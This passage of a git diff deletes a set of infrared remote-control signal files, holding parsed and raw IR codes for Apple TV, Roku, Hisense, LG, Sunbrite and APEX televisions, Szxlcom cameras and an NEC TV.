405 732 752 385 410 727 757 390 404 733 751 386 409 728 756 381 414 733 750 387 408 729 755 382 413 734 750 387 408 729 728 409 413 734 749 388 407 730 754 383 385 762 748 389 406 731 409 728 756 381 758 389 405 732 408 729 755 382 757 390 15724 6354 4752 1425 404 733 751 386 409 728 756 381 413 734 750 387 381 756 755 382 412 735 749 388 407 730 754 383 412 725 758 389 406 731 753 384 411 726 758 389 405 732 752 385 410 727 757 390 404 733 751 386 409 728 756 381 413 734 750 387 408 729 755 382 413 734 749 388 407 730 409 728 756 381 758 389 406 731 408 729 755 382 758 389 diff --git a/assets/ir_optional_assets/optional-assets/Streaming Devices/Apple/Apple_TV.ir b/assets/ir_optional_assets/optional-assets/Streaming Devices/Apple/Apple_TV.ir deleted file mode 100644 index 06b4d39b7..000000000 --- a/assets/ir_optional_assets/optional-assets/Streaming Devices/Apple/Apple_TV.ir +++ /dev/null @@ -1,38 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Apple_ok -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 04 8E 00 00 -# -name: Apple_up -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 0B 8E 00 00 -# -name: Apple_dwn -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 0D 8E 00 00 -# -name: Apple_lft -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 08 8E 00 00 -# -name: Apple_right -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 07 8E 00 00 -# -name: Apple_menu -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 02 8E 00 00 diff --git a/assets/ir_optional_assets/optional-assets/Streaming Devices/Roku/Jet_AFS-1000b.ir b/assets/ir_optional_assets/optional-assets/Streaming Devices/Roku/Jet_AFS-1000b.ir deleted file mode 100644 index 45735b9bd..000000000 --- a/assets/ir_optional_assets/optional-assets/Streaming Devices/Roku/Jet_AFS-1000b.ir +++ /dev/null @@ -1,20 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: On_off -type: parsed -protocol: NEC -address: 01 00 00 00 -command: 03 00 00 00 -# -name: Speed -type: parsed -protocol: NEC -address: 01 00 00 00 -command: 07 00 00 00 -# -name: Time -type: parsed -protocol: NEC -address: 01 00 00 00 -command: 0B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/Streaming Devices/Roku/Roku.ir b/assets/ir_optional_assets/optional-assets/Streaming Devices/Roku/Roku.ir deleted file mode 100644 index 3634b105a..000000000 --- a/assets/ir_optional_assets/optional-assets/Streaming Devices/Roku/Roku.ir +++ /dev/null @@ -1,62 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 0F F0 00 00 -# -name: Ok -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 18 E7 00 00 -# -name: Up -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 42 BD 00 00 -# -name: Down -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 43 BC 00 00 -# -name: Left -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 16 E9 00 00 -# -name: Right -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 15 EA 00 00 -# -name: V_up -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 0C F3 00 00 -# -name: V_down -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 0D F2 00 00 -# -name: Back -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 1B E4 00 00 -# -name: Home -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 14 EB 00 00 diff --git a/assets/ir_optional_assets/optional-assets/Streaming Devices/Roku/Roku2.ir b/assets/ir_optional_assets/optional-assets/Streaming Devices/Roku/Roku2.ir deleted file mode 100644 index 77c3c767a..000000000 --- a/assets/ir_optional_assets/optional-assets/Streaming Devices/Roku/Roku2.ir +++ /dev/null @@ -1,62 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Home -type: parsed -protocol: NECext -address: EA C2 00 00 -command: 03 FC 00 00 -# -name: Ok -type: parsed -protocol: NECext -address: EA C2 00 00 -command: 2A D5 00 00 -# -name: Left -type: parsed -protocol: NECext -address: EA C2 00 00 -command: 1E E1 00 00 -# -name: Right -type: parsed -protocol: NECext -address: EA C2 00 00 -command: 2D D2 00 00 -# -name: Up -type: parsed -protocol: NECext -address: EA C2 00 00 -command: 19 E6 00 00 -# -name: Down -type: parsed -protocol: NECext -address: EA C2 00 00 -command: 33 CC 00 00 -# -name: Rewind -type: parsed -protocol: NECext -address: EA C2 00 00 -command: 34 CB 00 00 -# -name: Play -type: parsed -protocol: NECext -address: EA C2 00 00 -command: 4C B3 00 00 -# -name: Ff -type: parsed -protocol: NECext -address: EA C2 00 00 -command: 55 AA 00 00 -# -name: Back -type: parsed -protocol: NECext -address: EA C2 00 00 -command: 66 99 00 00 diff --git a/assets/ir_optional_assets/optional-assets/Streaming Devices/Roku/Roku_Alternate.ir b/assets/ir_optional_assets/optional-assets/Streaming Devices/Roku/Roku_Alternate.ir deleted file mode 100644 index ee283ad94..000000000 --- a/assets/ir_optional_assets/optional-assets/Streaming Devices/Roku/Roku_Alternate.ir +++ /dev/null @@ -1,98 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: parsed -protocol: NECext -address: EA C7 00 00 -command: 17 E8 00 00 -# -name: Home -type: parsed -protocol: NECext -address: EA C7 00 00 -command: 03 FC 00 00 -# -name: Back -type: parsed -protocol: NECext -address: EA C7 00 00 -command: 66 99 00 00 -# -name: Vol_up -type: parsed -protocol: NECext -address: EA C7 00 00 -command: 0F F0 00 00 -# -name: Vol_down -type: parsed -protocol: NECext -address: EA C7 00 00 -command: 10 EF 00 00 -# -name: Mute -type: parsed -protocol: NECext -address: EA C7 00 00 -command: 20 DF 00 00 -# -name: Up -type: parsed -protocol: NECext -address: EA C7 00 00 -command: 19 E6 00 00 -# -name: Down -type: parsed -protocol: NECext -address: EA C7 00 00 -command: 33 CC 00 00 -# -name: Left -type: parsed -protocol: NECext -address: EA C7 00 00 -command: 1E E1 00 00 -# -name: Right -type: parsed -protocol: NECext -address: EA C7 00 00 -command: 2D D2 00 00 -# -name: Ok -type: parsed -protocol: NECext -address: EA C7 00 00 -command: 2A D5 00 00 -# -name: Return -type: parsed -protocol: NECext -address: EA C7 00 00 -command: 78 87 00 00 -# -name: Star -type: parsed -protocol: NECext -address: EA C7 00 00 -command: 61 9E 00 00 -# -name: Rewind -type: parsed -protocol: NECext -address: EA C7 00 00 -command: 34 CB 00 00 -# -name: Pause -type: parsed -protocol: NECext -address: EA C7 00 00 -command: 4C B3 00 00 -# -name: Fastforward -type: parsed -protocol: NECext -address: EA C7 00 00 -command: 55 AA 00 00 diff --git a/assets/ir_optional_assets/optional-assets/Sunbrite.ir b/assets/ir_optional_assets/optional-assets/Sunbrite.ir deleted file mode 100644 index 1e75c1b3c..000000000 --- a/assets/ir_optional_assets/optional-assets/Sunbrite.ir +++ /dev/null @@ -1,80 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: On -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 08 00 00 00 -# -name: Off -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 08 00 00 00 -# -name: Menu -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 1D 00 00 00 -# -name: Exit -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 49 00 00 00 -# -name: Up -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 45 00 00 00 -# -name: Left -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 47 00 00 00 -# -name: Ok -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 44 00 00 00 -# -name: Right -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 48 00 00 00 -# -name: Down -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 46 00 00 00 -# -name: Source -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 2F 00 00 00 -# -name: Vol_up -type: parsed -protocol: NEC -address: 02 00 00 00 -command: 1F 00 00 00 -# -name: Vol_down -type: parsed -protocol: NEC -address: 02 00 00 00 -command: 1E 00 00 00 -# -name: Mute -type: parsed -protocol: NEC -address: 02 00 00 00 -command: 1C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/Szxlcom_cams.ir b/assets/ir_optional_assets/optional-assets/Szxlcom_cams.ir deleted file mode 100644 index df3e12e73..000000000 --- a/assets/ir_optional_assets/optional-assets/Szxlcom_cams.ir +++ /dev/null @@ -1,80 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: parsed -protocol: SIRC15 -address: D4 00 00 00 -command: 15 00 00 00 -# -name: Pan_up -type: parsed -protocol: SIRC20 -address: 3A 0A 00 00 -command: 1A 00 00 00 -# -name: Pan_down -type: parsed -protocol: SIRC20 -address: 3A 0A 00 00 -command: 1B 00 00 00 -# -name: Pan_left -type: parsed -protocol: SIRC20 -address: 3A 0A 00 00 -command: 1D 00 00 00 -# -name: Pan_right -type: parsed -protocol: SIRC20 -address: 3A 0A 00 00 -command: 1C 00 00 00 -# -name: Zoom_in_slw -type: parsed -protocol: SIRC15 -address: D4 00 00 00 -command: 1A 00 00 00 -# -name: Zoom_out_slow -type: parsed -protocol: SIRC15 -address: D4 00 00 00 -command: 1B 00 00 00 -# -name: Zoom_in_fast -type: parsed -protocol: SIRC15 -address: D4 00 00 00 -command: 1C 00 00 00 -# -name: Zoom_out_fast -type: parsed -protocol: SIRC15 -address: D4 00 00 00 -command: 1D 00 00 00 -# -name: Focus_far -type: parsed -protocol: SIRC15 -address: D4 00 00 00 -command: 22 00 00 00 -# -name: Focus_near -type: parsed -protocol: SIRC15 -address: D4 00 00 00 -command: 23 00 00 00 -# -name: Auto_focus -type: parsed -protocol: SIRC15 -address: D4 00 00 00 -command: 1E 00 00 00 -# -name: Menu -type: parsed -protocol: SIRC20 -address: 3A 0A 00 00 -command: 14 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/TVs/APEX LE4643T TV.ir b/assets/ir_optional_assets/optional-assets/TVs/APEX LE4643T TV.ir deleted file mode 100644 index 48e2bedc8..000000000 --- a/assets/ir_optional_assets/optional-assets/TVs/APEX LE4643T TV.ir +++ /dev/null @@ -1,74 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Input -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 53 AC 00 00 -# -name: Up -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 5E A1 00 00 -# -name: Right -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 58 A7 00 00 -# -name: Left -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 5B A4 00 00 -# -name: Down -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 56 A9 00 00 -# -name: Center -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 50 AF 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 06 F9 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 07 F8 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 02 FD 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 1A E5 00 00 -# -name: Power -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 0A F5 00 00 -# -name: Menu -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 5A A5 00 00 diff --git a/assets/ir_optional_assets/optional-assets/TVs/Hisense/Hisense_RokuTV.ir b/assets/ir_optional_assets/optional-assets/TVs/Hisense/Hisense_RokuTV.ir deleted file mode 100644 index 670e80862..000000000 --- a/assets/ir_optional_assets/optional-assets/TVs/Hisense/Hisense_RokuTV.ir +++ /dev/null @@ -1,116 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 0F F0 00 00 -# -name: Ok -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 18 E7 00 00 -# -name: Up -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 42 BD 00 00 -# -name: Down -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 43 BC 00 00 -# -name: Left -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 16 E9 00 00 -# -name: Right -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 15 EA 00 00 -# -name: V_up -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 0C F3 00 00 -# -name: V_down -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 0D F2 00 00 -# -name: Back -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 1B E4 00 00 -# -name: Home -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 14 EB 00 00 -# -name: Mute -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 09 00 00 00 -# -name: Netflix -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 4C 00 00 00 -# -name: Hulu -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 5C 00 00 00 -# -name: Sleep -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 1A 00 00 00 -# -name: Opt -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 0C 00 00 00 -# -name: Return -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 41 00 00 00 -# -name: Seek_fwd -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 5B 00 00 00 -# -name: Rewind -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 4F 00 00 00 -# -name: Play -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 42 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/TVs/LG/LG_C1.ir b/assets/ir_optional_assets/optional-assets/TVs/LG/LG_C1.ir deleted file mode 100644 index ce171c66e..000000000 --- a/assets/ir_optional_assets/optional-assets/TVs/LG/LG_C1.ir +++ /dev/null @@ -1,62 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 08 00 00 00 -# -name: Channel_up -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 00 00 00 00 -# -name: Channel_dn -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 01 00 00 00 -# -name: Vol_up -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 02 00 00 00 -# -name: Vol_dn -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 03 00 00 00 -# -name: Up -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 40 00 00 00 -# -name: Down -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 41 00 00 00 -# -name: Left -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 07 00 00 00 -# -name: Right -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 06 00 00 00 -# -name: Select -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 5D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/TVs/LG_55UN7300AUD.ir b/assets/ir_optional_assets/optional-assets/TVs/LG_55UN7300AUD.ir deleted file mode 100644 index f260cde49..000000000 --- a/assets/ir_optional_assets/optional-assets/TVs/LG_55UN7300AUD.ir +++ /dev/null @@ -1,92 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 08 00 00 00 -# -name: Mute -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 09 00 00 00 -# -name: VolumeDown -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 03 00 00 00 -# -name: VolumeUp -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 02 00 00 00 -# -name: Home -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 7C 00 00 00 -# -name: Back -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 28 00 00 00 -# -name: Guide -type: parsed -protocol: NEC -address: 04 00 00 00 -command: AB 00 00 00 -# -name: Netflix -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 56 00 00 00 -# -name: PrimeVideo -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 5C 00 00 00 -# -name: Settings -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 43 00 00 00 -# -name: Play -type: parsed -protocol: NEC -address: 04 00 00 00 -command: B0 00 00 00 -# -name: Pause -type: parsed -protocol: NEC -address: 04 00 00 00 -command: BA 00 00 00 -# -name: ChanUp -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 00 00 00 00 -# -name: ChanDown -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 01 00 00 00 -# -name: Input -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 0B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/TVs/NEC/NEC.ir b/assets/ir_optional_assets/optional-assets/TVs/NEC/NEC.ir deleted file mode 100644 index 2b8e86e31..000000000 --- a/assets/ir_optional_assets/optional-assets/TVs/NEC/NEC.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 8073 3997 524 502 495 505 492 1508 498 503 494 1505 501 1500 495 1504 491 1510 496 3988 522 502 495 1505 501 501 496 504 493 1507 499 502 495 1505 501 501 496 18806 8072 3997 524 502 495 505 492 1507 499 502 495 1505 490 1509 497 1504 491 1510 496 3988 522 502 495 1505 501 500 497 503 494 1506 500 501 496 1504 491 510 498 18806 8072 3998 523 503 494 506 491 1509 497 504 493 1506 499 1501 494 1506 500 1502 493 3989 522 504 493 1507 499 502 495 505 492 1508 498 503 494 1506 499 502 495 18807 8072 3998 523 503 494 506 491 1509 497 504 493 1506 500 1501 494 1506 500 1502 493 3989 521 503 494 1506 500 502 495 505 492 1508 498 503 494 1506 500 502 495 18807 8072 3998 523 502 495 505 492 1508 498 503 494 1505 501 1500 495 1504 491 1510 496 3988 523 502 495 1505 501 501 496 503 494 1506 500 501 496 1504 491 510 498 -# -name: Standby -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 8065 4004 517 509 499 502 495 1505 501 500 497 1502 493 1507 498 1476 519 1482 523 3984 526 499 498 1502 493 1507 498 1477 518 507 501 500 497 1503 492 509 499 17804 8064 4004 516 510 498 503 494 1505 500 501 496 1503 492 1508 497 1503 492 1484 521 3986 524 501 496 1503 492 1508 497 1503 492 509 499 502 495 1505 500 502 495 17808 8071 3999 522 504 493 507 501 1500 495 506 491 1508 497 1502 493 1507 498 1503 492 3991 519 506 491 1508 497 1503 492 1508 497 504 493 507 501 1499 496 506 491 17814 8065 4006 525 500 497 504 493 1507 498 502 495 1504 491 1509 496 1504 491 1510 496 3987 523 502 495 1504 502 1499 496 1504 501 500 497 503 494 1506 499 502 495 17807 8072 3997 524 502 495 505 492 1508 497 503 494 1505 501 1499 496 1479 516 1485 520 3987 523 501 496 1504 491 1509 496 1479 516 510 498 503 494 1505 500 502 495 17806 8073 3996 525 501 496 505 492 1507 498 503 494 1505 500 1499 496 1479 516 1485 520 3987 523 502 495 1504 501 1499 496 1479 516 510 498 503 494 1506 499 502 495 -# -name: Vol_up -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 8069 3998 522 503 494 506 491 1509 496 505 492 1507 498 1501 494 1506 499 1502 493 3989 521 1503 492 1508 497 1503 492 508 500 1501 494 506 491 510 498 504 493 17810 8067 4003 517 508 500 501 496 1504 491 510 498 1502 493 1507 498 1501 494 1508 497 3984 526 1474 521 1504 501 1500 495 505 492 1509 496 505 492 508 500 502 495 17809 8069 4000 520 506 491 509 499 1501 494 507 501 1499 496 1503 492 1508 497 1504 491 3991 519 1480 525 1500 495 1505 500 500 497 1503 492 509 499 503 494 507 490 17809 8069 3999 521 505 492 508 500 1500 495 506 491 1508 497 1502 493 1507 498 1503 492 3990 520 1504 491 1509 496 1504 491 509 499 1501 494 507 501 501 496 505 492 17808 8070 3998 523 503 494 506 491 1509 496 504 493 1507 498 1501 494 1506 499 1502 493 3988 522 1502 493 1507 498 1502 493 507 501 1500 495 505 492 509 499 502 495 -# -name: Vol_down -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 8066 4002 519 507 501 500 497 1503 492 508 500 1500 495 1480 525 1475 520 1506 499 3983 517 508 500 1500 495 1481 524 501 496 1504 491 510 498 503 494 507 501 18803 8073 3997 524 503 494 506 491 1483 522 504 493 1506 499 1476 519 1482 523 1478 517 3989 521 504 493 1482 523 1478 517 508 500 1476 519 507 501 500 497 505 492 18809 8066 4003 517 508 500 501 496 1503 492 509 499 1501 494 1480 525 1475 520 1481 524 3983 516 509 499 1501 494 1482 523 502 495 1505 500 500 497 504 493 508 500 -# -name: Mute -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 8069 4000 520 480 517 508 500 1500 495 505 492 1508 497 1502 493 1506 499 1502 493 3989 521 1503 492 1509 496 503 494 1506 499 1501 494 506 491 510 498 504 493 17807 8072 3997 524 501 496 505 492 1508 497 502 495 1505 500 1499 496 1504 491 1510 495 3986 524 1500 495 1506 499 500 497 1503 492 1508 497 503 494 507 501 501 496 17804 8064 4004 517 509 499 501 496 1504 491 509 499 1500 495 1505 500 1499 496 1505 500 3980 520 1505 500 1500 495 505 492 1508 497 1502 493 508 500 501 496 505 492 17807 8072 3995 526 500 497 503 494 1506 499 501 496 1504 491 1508 497 1503 492 1509 496 3985 515 1509 496 1503 492 508 500 1500 495 1506 499 501 496 505 492 509 499 17803 8065 4003 518 508 500 501 496 1504 491 509 499 1502 493 1507 498 1502 493 1508 497 3985 525 1500 495 1505 500 500 497 1503 492 1508 497 504 493 508 500 501 496 -# -name: Ch_up -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 8064 4006 525 501 496 504 493 1507 498 502 495 1505 500 1499 496 1504 501 1500 495 3987 523 1501 494 1507 498 502 495 505 492 1508 497 1503 492 509 499 503 494 17808 8069 4000 520 505 492 508 500 1500 495 506 491 1508 497 1503 492 1508 497 1504 491 3991 519 1505 500 1501 494 507 501 500 497 1502 493 1508 497 503 494 508 500 17803 8064 4006 525 501 496 504 493 1507 498 503 494 1505 500 1500 495 1505 500 1500 495 3988 522 1502 493 1507 498 503 494 506 491 1508 497 1503 492 509 499 503 494 -# -name: Ch_down -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 8068 3999 521 504 493 507 501 1498 497 504 493 1505 500 1475 520 1479 526 1500 495 3987 523 502 495 1505 500 501 496 504 493 1506 499 1501 494 507 501 500 497 18802 8072 3996 524 502 495 505 492 1507 498 503 494 1505 500 1475 520 1480 525 1476 519 3987 523 501 496 1504 491 510 498 502 495 1504 501 1475 520 505 492 509 498 18798 8065 4001 519 507 501 499 498 1502 493 507 501 1499 496 1504 501 1473 522 1504 501 3981 518 506 491 1509 496 505 492 508 499 1500 495 1505 500 500 497 505 492 18808 8065 4001 519 507 501 500 497 1503 492 508 499 1500 495 1505 500 1499 496 1506 499 3983 516 508 499 1501 494 507 501 500 497 1502 493 1508 497 504 493 508 500 -# -name: Menu -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 8071 3997 523 503 494 506 491 1509 496 504 493 1507 498 1477 518 1482 523 1478 517 3991 518 507 500 500 497 504 493 507 500 500 497 1503 492 509 498 503 494 20805 8072 3997 523 503 494 507 501 1499 496 505 492 1507 498 1478 517 1483 522 1479 516 3991 518 507 500 501 496 504 493 508 499 500 497 1503 492 509 498 503 494 20805 8072 3997 523 503 494 506 491 1509 496 505 492 1482 523 1478 517 1483 522 1479 516 3991 518 506 491 510 497 503 494 507 490 510 497 1502 493 508 499 502 495 20801 8065 4000 520 506 491 509 499 1501 494 506 491 1483 522 1478 517 1483 522 1478 517 3990 519 506 491 509 499 502 495 506 491 509 499 1501 494 507 500 501 496 20799 8068 4000 520 505 492 508 500 1500 495 506 491 1483 522 1478 517 1483 522 1478 517 3989 520 505 492 508 499 501 496 505 492 507 500 1499 496 505 492 510 498 20796 8071 3995 525 500 497 504 493 1506 499 501 496 1504 491 1484 521 1479 516 1485 520 3986 524 501 496 505 492 509 498 502 495 505 492 1507 498 503 494 507 500 20798 8070 3998 522 504 493 507 501 1499 496 504 493 1506 499 1476 519 1482 523 1477 518 3989 520 504 493 508 499 501 496 504 493 507 501 1499 496 505 492 510 497 20798 8069 4001 519 507 501 500 497 1502 493 508 500 1500 495 1480 525 1475 520 1481 524 3983 516 509 498 503 494 506 491 510 497 503 494 1505 500 501 496 506 491 -# -name: Exit -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 8063 4005 525 501 496 504 493 1506 499 502 495 1479 526 1474 521 1479 516 1485 520 3986 523 1476 519 1481 524 1476 519 1481 524 1475 520 506 491 509 499 503 494 16806 8072 3995 525 501 496 504 493 1482 523 502 495 1479 516 1484 521 1478 517 1484 521 3985 524 1475 520 1480 525 1475 520 1480 525 1475 520 505 492 509 499 502 495 16806 8071 3996 524 503 494 506 491 1484 521 504 493 1482 523 1476 519 1481 524 1477 518 3989 520 1479 516 1484 521 1479 516 1484 521 1479 516 509 499 503 494 507 490 16812 8065 4005 525 500 497 503 494 1506 499 501 496 1479 526 1474 521 1480 525 1476 519 3988 521 1478 517 1483 522 1478 517 1483 522 1479 516 509 499 502 495 506 491 -# -name: Up -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 8070 3999 521 505 492 509 498 1501 494 506 491 1509 496 1479 526 1499 496 1506 499 3983 516 1510 495 505 492 1508 497 503 494 1506 499 502 495 506 491 511 497 18806 8065 4005 525 501 496 504 493 1507 498 503 494 1480 525 1475 520 1481 524 1477 518 3989 520 1481 524 501 496 1479 526 500 497 1478 517 510 497 503 494 508 499 18802 8070 4001 519 507 500 500 497 1503 492 508 499 1500 495 1480 525 1500 495 1506 499 3983 516 1484 521 504 493 1507 498 503 494 1506 499 501 496 505 492 510 498 18802 8070 4000 520 505 492 508 499 1501 494 507 501 1499 496 1504 501 1499 496 1506 499 3983 516 1509 496 505 492 1508 497 503 494 1506 499 502 495 506 491 510 497 -# -name: Down -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 8069 4001 519 507 501 499 498 1502 493 508 499 1500 495 1505 500 1499 496 1506 499 3983 516 510 498 503 494 1506 499 501 496 1504 501 500 497 503 494 508 499 19801 8069 4000 520 506 491 509 499 1502 493 508 499 1499 496 1504 501 1499 496 1480 525 3982 517 509 499 502 495 1504 501 499 498 1502 493 509 498 502 495 506 491 19811 8069 3999 521 505 492 508 499 1500 495 506 491 1483 522 1478 517 1484 521 1479 516 3991 518 507 500 501 496 1503 492 509 498 1477 518 508 499 501 496 505 492 -# -name: Set_ok -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 8063 4003 517 509 498 502 495 1504 501 499 498 1501 494 1481 524 1501 494 1482 523 3983 516 1508 497 1480 515 510 497 503 494 506 491 1509 496 504 493 509 498 18799 8062 4005 525 501 496 504 493 1507 498 503 494 1505 500 1499 496 1480 525 1476 519 3987 522 1477 518 1483 522 503 494 506 491 509 499 1502 493 508 499 502 495 18806 8066 4003 517 509 498 502 495 1505 500 500 497 1503 492 1508 497 1479 516 1486 519 3987 522 1477 518 1483 522 503 494 506 491 509 498 1501 494 508 499 502 495 18804 8067 4001 519 508 500 501 496 1503 492 509 498 1501 494 1482 523 1477 518 1484 521 3985 524 1476 519 1481 524 502 495 505 492 508 499 1500 495 506 491 511 496 -# -name: - -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 8065 4005 525 500 497 503 494 1506 499 501 496 1504 491 1508 497 1503 492 1509 496 3985 524 1500 495 506 491 510 497 503 494 506 491 1509 496 505 492 509 498 19801 8067 3999 521 504 493 507 500 1500 495 505 492 1508 497 1502 493 1507 498 1503 492 3989 520 1504 501 500 497 504 493 507 500 500 497 1503 492 509 498 503 494 19804 8064 4005 525 500 497 503 494 1506 499 502 495 1504 501 1499 496 1504 501 1501 494 3987 522 1503 492 509 498 502 495 505 492 508 499 1501 494 507 500 501 496 19800 8067 3999 520 505 492 508 499 1500 495 506 491 1508 497 1502 493 1507 498 1502 493 3988 521 1503 492 509 498 502 495 506 491 509 498 1501 494 507 500 501 496 19801 8066 4000 520 506 491 509 498 1501 494 507 500 1499 496 1504 491 1508 497 1504 501 3981 518 1507 498 503 494 507 500 500 497 504 493 1507 498 503 494 507 500 19798 8069 3998 521 504 493 508 499 1500 495 506 491 1508 497 1503 492 1508 497 1504 501 3980 519 1506 499 502 495 505 492 509 498 501 496 1504 501 500 497 505 492 -# -name: + -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 8064 4001 518 507 500 499 498 1502 493 507 500 1474 521 1479 516 1484 521 1479 516 3990 519 506 491 1508 497 504 493 508 499 500 497 1503 492 509 498 503 494 19803 8063 4003 516 509 498 502 495 1505 500 500 497 1478 517 1483 522 1478 568 1431 522 3985 524 501 496 1481 524 501 496 505 492 508 499 1500 494 507 500 501 496 19800 8067 4000 519 506 491 509 498 1477 517 506 501 1473 521 1479 515 1483 522 1479 526 3980 518 506 491 1485 520 505 492 508 499 501 496 1479 516 509 498 503 494 19800 8066 3998 521 504 493 507 500 1474 520 504 493 1482 523 1477 517 1482 523 1477 517 3989 520 504 493 1483 522 503 494 506 491 509 498 1477 517 508 499 502 495 -# -name: Guide -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 8062 4004 526 500 497 503 494 1505 500 501 496 1503 491 1484 521 1504 501 1500 495 3988 521 505 492 508 499 1500 495 506 491 1508 497 1479 516 510 497 504 493 18805 8064 4002 517 509 498 502 495 1504 501 500 497 1502 493 1482 523 1478 516 1484 521 3985 524 502 495 505 492 1507 498 503 494 1505 500 1475 519 506 491 511 496 18801 8068 4000 519 507 500 500 497 1502 493 508 499 1500 495 1505 500 1476 518 1482 523 3984 525 500 497 503 494 1506 499 501 496 1504 501 1475 519 506 491 510 497 18802 8067 4001 518 507 